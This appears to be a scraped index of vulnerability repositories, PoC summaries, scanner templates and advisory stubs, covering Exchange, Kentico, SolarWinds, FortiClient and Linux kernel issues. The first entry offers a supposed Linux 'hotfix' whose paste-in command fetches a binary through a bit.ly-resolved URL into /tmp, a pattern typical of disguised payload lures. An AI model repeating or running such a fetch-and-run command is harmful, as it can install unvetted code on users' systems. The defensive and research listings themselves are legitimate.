cve_2026_frag_family_fix

frag family 脆弱性を除去するためのソフトウェア / frag family 脆弱性の緩和ツール Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 任意の Linux で修正を実行 / 任意の Linux ホットフィックスの実行 b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep -v .exe | cut -...

kentico-xperience13-AuthBypass-wt-2025-0006

WT-2025-0006（CVE 尚未分配） Kentico Xperience 13 CMS - Staging Service 身份验证绕过检测 运行效果 python3 watchTowr-vs-kentico-xperience13-AuthBypass-wt-2025-0006.py -H http://labcms / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // |/ / / /...

OWASSRF-CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 脆弱性のPoC。Microsoft Exchangeサーバーに影響を与えます。 これはProxyNotShell OWASSRFの認証後RCEであり、コマンド実行には有効な資格情報が必要です。 TabShell脆弱性（CVE-2022-41076）のPowershell PoCスクリプトを追加 TabShell脆弱性は特権昇格の一種であり、OWASSRFを通じてアクセスに成功した後、制限されたPowershellサンドボックスからの脱出を可能にします。 影響を受けるバージョン...

CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 脆弱性（Microsoft Exchange サーバーに影響）の PoC これは ProxyNotShell OWASSRF に対する認証後 RCE です。コマンド実行には有効な資格情報が必要です。 TabShell 脆弱性 CVE-2022-41076 用の Powershell PoC スクリプトを追加しました TabShell 脆弱性は、OWASSRF 経由でアクセスを取得した後に、制限された Powershell...

cve-2018-12895-hotfix

このリポジトリには README がありません。...

CVE-2020-0601

CVE-2020-0601 このスクリプトは、お使いのWindowsのバージョンに応じて、CVE-2020-0601の修正プログラムが適用されているかどうかをチェックします。 さらに、既知の脆弱性を悪用しようとする試みがあるかどうかもチェックします。 この.xmlファイルはControlUpユーザー向けです。 通常どおり、XMLファイルをScript（ベース）Actionsにインポートしてください。 すべての情報はこちらで確認できます：...

CVE-2020-1472

CVE-2020-1472 CVE 2020-1472 検証スクリプト 前提条件: ドメインコントローラー間でWinRMが有効になっていること。 必要な権限: - 子ドメインが存在する場合: エンタープライズ管理者 - 単一フォレスト、単一ドメインの場合: ドメイン管理者...

Check Point IKEv1 Remote-Access VPN - Certificate Authentication Bypass

IKEv1 key exchange contains a broken authentication caused by logic flow weakness in Remote Access and Mobile Access certificate validation, letting unauthenticated remote attackers bypass user authentication and establish VPN connections without valid passwords, exploit requires use of deprecate...

FortiClient EMS - Authentication Bypass

Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior. id:...

xerces-3.2.3-DTD-hotfix

このリポジトリには README がありません。...

Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0011)

Before Kentico Xperience 13 Hotfix 173, this vulnerability can be exploited with any username provided. For Hotfix = 173 and = 173 and 178, this vulnerability can be exploited only if you provide a valid Staging Service username default: admin impact: | Unauthenticated attackers can bypass...

SolarWinds Web Help Desk < 12.8.8 Hotfix 1 (HF1) - Security Control Bypass

SolarWinds Web Help Desk was found to be susceptible to a security control bypass vulnerability that if exploited, could allow an unauthenticated attacker to gain access to certain restricted functionality. id: CVE-2025-40536 info: name: SolarWinds Web Help Desk 12.8.8 Hotfix 1 HF1 - Security...

log4shell-hotfix-side-effect

Log4Shell 热修复副作用测试用例 我想知道当应用 CVE-2021-44228（又名 Log4Shell）热修复时是否会产生任何 ClassNotFoundException 或类似的意外异常，如此处推荐的那样。 结果：似乎没有异常冒出。 要测试这一点，请执行以下命令： ./gradlew clean installDist env JAVAOPTS=-Xmx64M ./build/install/log4shell-hotfix-side-effect/bin/log4shell-hotfix-side-effect 它将记录一系列消息和时间，并且应该没有异常。 如果 log4...

kentico-xperience13-AuthBypass-wt-2025-0011

WT-2025-0011 CVEは未割り当て Kentico Xperience 13 CMS - ステージングサービス認証バイパスチェック 動作中の検出 python3 .\watchTowr-vs-kentico-xperience13-AuthBypass-wt-2025-0011.py -H http://labcms -u admin / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

CVE-2025-45407

CVE-2025-45407 CVE-2025-45407: DiscoveryNG v6.0.8 Hotfix 2 における複数のXSS脆弱性 発見者: YallaSec Security Research Team CVE ID: CVE-2025-45407 公開日: 2025年7月...

CVE-2010-3971-hotpatch

CVE-2010-3971-hotpatch Deviareで独自のセキュリティホットフィックスを作成しましょう。 元記事: Deviareを使用して一時的なゼロデイパッチを作成する...

CVE-2025-37164

CVE-2025-37164 HPE OneView にリモートコード実行の問題が存在します。 この検出方法はどのように動作しますか？ このテンプレートは、OneView の title タグにマッチングし、JavaScript の artifactVersion 変数からバージョンを抽出し、バージョン 11.00 未満のインスタンスを潜在的に脆弱なものとしてフラグ付けします。 注意: このテンプレートによってフラグ付けされたインスタンスは脆弱である可能性があります。検出方法では、Z7550-98077 セキュリティホットフィックスがバージョン 5.20～10.20...

SolarWinds Web Help Desk < 12.8.3 - Insecure Deserialization

SolarWinds Web Help Desk before version 12.8.3 contain a critical Java deserialization vulnerability that enables remote code execution. Attackers can exploit this flaw to execute arbitrary commands on the host machine. Initially reported as unauthenticated, SolarWinds was unable to reproduce...

RHSA-2026:62642 Red Hat Security Advisory: kpatch-patch-6_12_0-211_16_1 security update

Bulletin has no description...

RHSA-2026:59145 Red Hat Security Advisory: kpatch-patch-5_14_0-427_100_1, kpatch-patch-5_14_0-427_113_1, kpatch-patch-5_14_0-427_126_1, kpatch-patch-5_14_0-427_68_2, and kpatch-patch-5_14_0-427_84_1 security update

Bulletin has no description...